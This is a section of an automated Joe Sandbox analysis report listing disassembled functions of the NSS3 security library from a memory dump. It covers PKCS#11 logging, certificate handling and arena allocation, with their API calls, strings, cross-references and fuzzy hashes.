Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C69781D,00000000,6C68BE2C,?,6C696B1D,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C40
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C69781D,?,6C68BE2C,?), ref: 6C696C58
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C6F
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C696C84
Part of subcall function 6C696C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C696C96
Part of subcall function 6C696C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C696CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C696FF4

Strings

+`jl, xrefs: 6C696D0D

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`jl
API String ID: 1304971872-3317076573
Opcode ID: 526dde810fb2fae6740dbe8898befa10cdb0071ce74483e1ea99b1ea275f99c5
Instruction ID: 51ebf55746ee75ca23376b80f47fe103eabd56014f05637eb2b51fc32ab9cc19
Opcode Fuzzy Hash: 526dde810fb2fae6740dbe8898befa10cdb0071ce74483e1ea99b1ea275f99c5
Instruction Fuzzy Hash: 8AB15BB0E0530A9FDF40DBA5DC44BAEBBB9AF05359F140025E815E7A10E731E915CBE9

Function 6C641FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C642007
calloc.MOZGLUE(00000001,00000084), ref: 6C642077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6420DF
TlsSetValue.KERNEL32(00000000), ref: 6C642188
PR_NewCondVar.NSS3 ref: 6C6421B7
calloc.MOZGLUE(00000001,00000084), ref: 6C64221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6422C2
GetLastError.KERNEL32 ref: 6C6422CD
free.MOZGLUE(00000000), ref: 6C6422DD

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

Strings

T {l, xrefs: 6C642361
X {l, xrefs: 6C64218E

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T {l$X {l
API String ID: 3559583721-736249941
Opcode ID: 41b3a9deb05fc07b8489216908b2b84db833c04dc0e854acc139f9ca38674b0e
Instruction ID: 9a0fdf5ce97a30bab5ef0d2dcc866cade5d3449c233c6a0c7f4f9c54f752b9a3
Opcode Fuzzy Hash: 41b3a9deb05fc07b8489216908b2b84db833c04dc0e854acc139f9ca38674b0e
Instruction Fuzzy Hash: 6E916BB16017019FDB20AF78DC4DBAB7BF4BB06749F10853AE55AD6A40DB70A104CB99

Function 6C65DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65DDDE

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C65DDF5

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C65DE34
PR_Now.NSS3 ref: 6C65DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C65DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C65DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C65DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C65DEF0
PR_smprintf.NSS3(6C78AAF9,(NULL) (Validity Unknown)), ref: 6C65DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C65DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C65DF33
free.MOZGLUE(00000000), ref: 6C65DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65DF4B
free.MOZGLUE(00000000), ref: 6C65DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65DF8E

Strings

%s%s, xrefs: 6C65DEEB
{???}, xrefs: 6C65DE8B
(NULL) (Validity Unknown), xrefs: 6C65DEFA

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: fc9b92e1736405dfbd18c148283de10c322bac94ff750c22a8a6a7143ec4252b
Instruction ID: a911e82a0a673f726b3593f5b6b917041a2cd874ef988a083c42badf50be4b04
Opcode Fuzzy Hash: fc9b92e1736405dfbd18c148283de10c322bac94ff750c22a8a6a7143ec4252b
Instruction Fuzzy Hash: 3C51B2B1E002156BDB00DF659E45AAF7AB8EF85358F644028EC09E7B40E731D925CBF9

Function 6C68AF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C68AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C68AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AF83

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C68AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C68AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C68AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C68AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C68B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C68B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C68B041

Strings

hSession = 0x%x, xrefs: 6C68AF5E, 6C68AF6E
(CK_INVALID_HANDLE), xrefs: 6C68AF7C
pParameter = 0x%p, xrefs: 6C68AFB9
pulSignatureLen = 0x%p, xrefs: 6C68B03C
ulDataLen = %d, xrefs: 6C68B00A
nvl, xrefs: 6C68B059, 6C68B093
C_SignMessage, xrefs: 6C68AF41
pSignature = 0x%p, xrefs: 6C68B023
ulParameterLen = 0x%p, xrefs: 6C68AFD4
pData = 0x%p, xrefs: 6C68AFEF

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nvl
API String ID: 1003633598-1382018852
Opcode ID: 99e5c1c3b53c8470ea355d46e1cb68d4f3ec0de84946c4a6efb09cae0f9b7e4d
Instruction ID: bf35ad67a149e4df1a710817b9f3a493dcd075271e7e57e7f7bdb1c540d77e1c
Opcode Fuzzy Hash: 99e5c1c3b53c8470ea355d46e1cb68d4f3ec0de84946c4a6efb09cae0f9b7e4d
Instruction Fuzzy Hash: 7141A575602148AFDB109F55DE4CE8A7BB2AB4630DF084034F9086BA51DB309958CBBE

Function 6C692D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C692DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C692E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C692E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C692E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C,?,-00000001,00000000,?), ref: 6C692E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C,?,-00000001,00000000), ref: 6C692E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EF8
PR_Unlock.NSS3(?), ref: 6C692F62
TlsGetValue.KERNEL32 ref: 6C692F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C692F9E
PR_Unlock.NSS3(?), ref: 6C692FCA
TlsGetValue.KERNEL32 ref: 6C69301A
EnterCriticalSection.KERNEL32(?), ref: 6C69302E
PR_Unlock.NSS3(?), ref: 6C693066
PR_SetError.NSS3(00000000,00000000), ref: 6C693085
PR_Unlock.NSS3(?), ref: 6C6930EC
TlsGetValue.KERNEL32 ref: 6C69310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C693124
PR_Unlock.NSS3(?), ref: 6C69314C

Part of subcall function 6C679180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C6A379E,?,6C679568,00000000,?,6C6A379E,?,00000001,?), ref: 6C67918D
Part of subcall function 6C679180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C6A379E,?,6C679568,00000000,?,6C6A379E,?,00000001,?), ref: 6C6791A0

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

PR_SetError.NSS3(00000000,00000000), ref: 6C69316D

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: be5bfee79d8383336f47a5b82fc8c10427f5d6a04e65dc931633f8a46e565eea
Instruction ID: 5db7b98909653f67d8ccf35584931866b19ac49c434238806d40bbce8ab55597
Opcode Fuzzy Hash: be5bfee79d8383336f47a5b82fc8c10427f5d6a04e65dc931633f8a46e565eea
Instruction Fuzzy Hash: 2EF17CB5D0020AAFDF00DF64D888B9EBBB5BF09318F144169EC09A7721E731E995CB95

Function 6C679FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C679FBE

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C67A015

Part of subcall function 6C691940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C69563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C69195C
Part of subcall function 6C691940: EnterCriticalSection.KERNEL32(?,?,6C69563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C66EAC5,00000001), ref: 6C691970
Part of subcall function 6C691940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C66EAC5,00000001,?,6C66CE9B,00000001,6C66EAC5), ref: 6C6919A0

PL_FreeArenaPool.NSS3(?), ref: 6C67A067
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A055

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67A07E
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C67A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C67A0CF
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A12E
PL_FreeArenaPool.NSS3(?), ref: 6C67A140
PL_FinishArenaPool.NSS3(?), ref: 6C67A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67A158
PL_FinishArenaPool.NSS3(?), ref: 6C67A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C67A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C67A1B2
free.MOZGLUE(00000000), ref: 6C67A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C67A1D6

Part of subcall function 6C6955E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C66EAC5,00000001,?,6C66CE9B,00000001,6C66EAC5,00000003,-00000004,00000000,?,6C66EAC5), ref: 6C695627
Part of subcall function 6C6955E0: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001,?,6C66CE9B), ref: 6C69564F
Part of subcall function 6C6955E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001), ref: 6C695661
Part of subcall function 6C6955E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66EAC5), ref: 6C6956AF

Strings

security, xrefs: 6C67A00F

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 823acaa2cc335ad26df7d509bc6585238682363e18a277f37ef96c5bfa5f7882
Instruction ID: 7d7db5065df9df95db9942e8cd8d3b8136aba2c4a1a90e86841dd5ea4fda52e4
Opcode Fuzzy Hash: 823acaa2cc335ad26df7d509bc6585238682363e18a277f37ef96c5bfa5f7882
Instruction Fuzzy Hash: 5E51E875D00209ABEB209BA4DC44BAF7379AF4230CF105924E805BAB42F771D559C7BE

Function 6C686D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C686D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686DC3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C686DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C686E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C686E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C686E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C686EB9

Strings

hSession = 0x%x, xrefs: 6C686D9E, 6C686DAE
(CK_INVALID_HANDLE), xrefs: 6C686DBC
pulDigestLen = 0x%p, xrefs: 6C686E42
ulDataLen = %d, xrefs: 6C686E0E
*pulDigestLen = 0x%x, xrefs: 6C686EB4
nvl, xrefs: 6C686E61, 6C686E95
pDigest = 0x%p, xrefs: 6C686E27
pData = 0x%p, xrefs: 6C686DF5
C_Digest, xrefs: 6C686D81

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nvl
API String ID: 1003633598-1341204591
Opcode ID: 261a3bbacfe6adc73c4ac988cf7018bb9c637e35c97ea9e987acacd698a5e4f7
Instruction ID: 419655d85b141ac2d809aaca5a68e7164a6365c178cd1c9b329bffc53f46eb1f
Opcode Fuzzy Hash: 261a3bbacfe6adc73c4ac988cf7018bb9c637e35c97ea9e987acacd698a5e4f7
Instruction Fuzzy Hash: 4B41C575612108AFDB109F55DE4DF8A3BB2AB4335CF044034E909ABA11DB30E949CBBE

Function 6C689C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C689C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689CA3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C689CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C689CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C689D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C689D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C689D42

Strings

hSession = 0x%x, xrefs: 6C689C7E, 6C689C8E
(CK_INVALID_HANDLE), xrefs: 6C689C9C
pUsername = 0x%p, xrefs: 6C689D24
C_LoginUser, xrefs: 6C689C61
ulPinLen = %d, xrefs: 6C689D0B
nvl, xrefs: 6C689D5A, 6C689D91
userType = 0x%x, xrefs: 6C689CD5
ulUsernameLen = %d, xrefs: 6C689D3D
pPin = 0x%p, xrefs: 6C689CF0

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$nvl
API String ID: 1003633598-3871879280
Opcode ID: f7da86eb8523020b75555e19aa2c62ff740ef067c679cbf8587bcd3d27d6facb
Instruction ID: 97001691560bb6bbf9f960e1ba66711bcb3e7fff6fbce1c23f885c0641adbd44
Opcode Fuzzy Hash: f7da86eb8523020b75555e19aa2c62ff740ef067c679cbf8587bcd3d27d6facb
Instruction Fuzzy Hash: CE41B171603548AFDB009F55DE4CE9A3BB2AB4331DF488034E9096BA51DB319918CBBE

Function 6C694C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C694C4C
EnterCriticalSection.KERNEL32(?), ref: 6C694C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C694CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694DB7

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
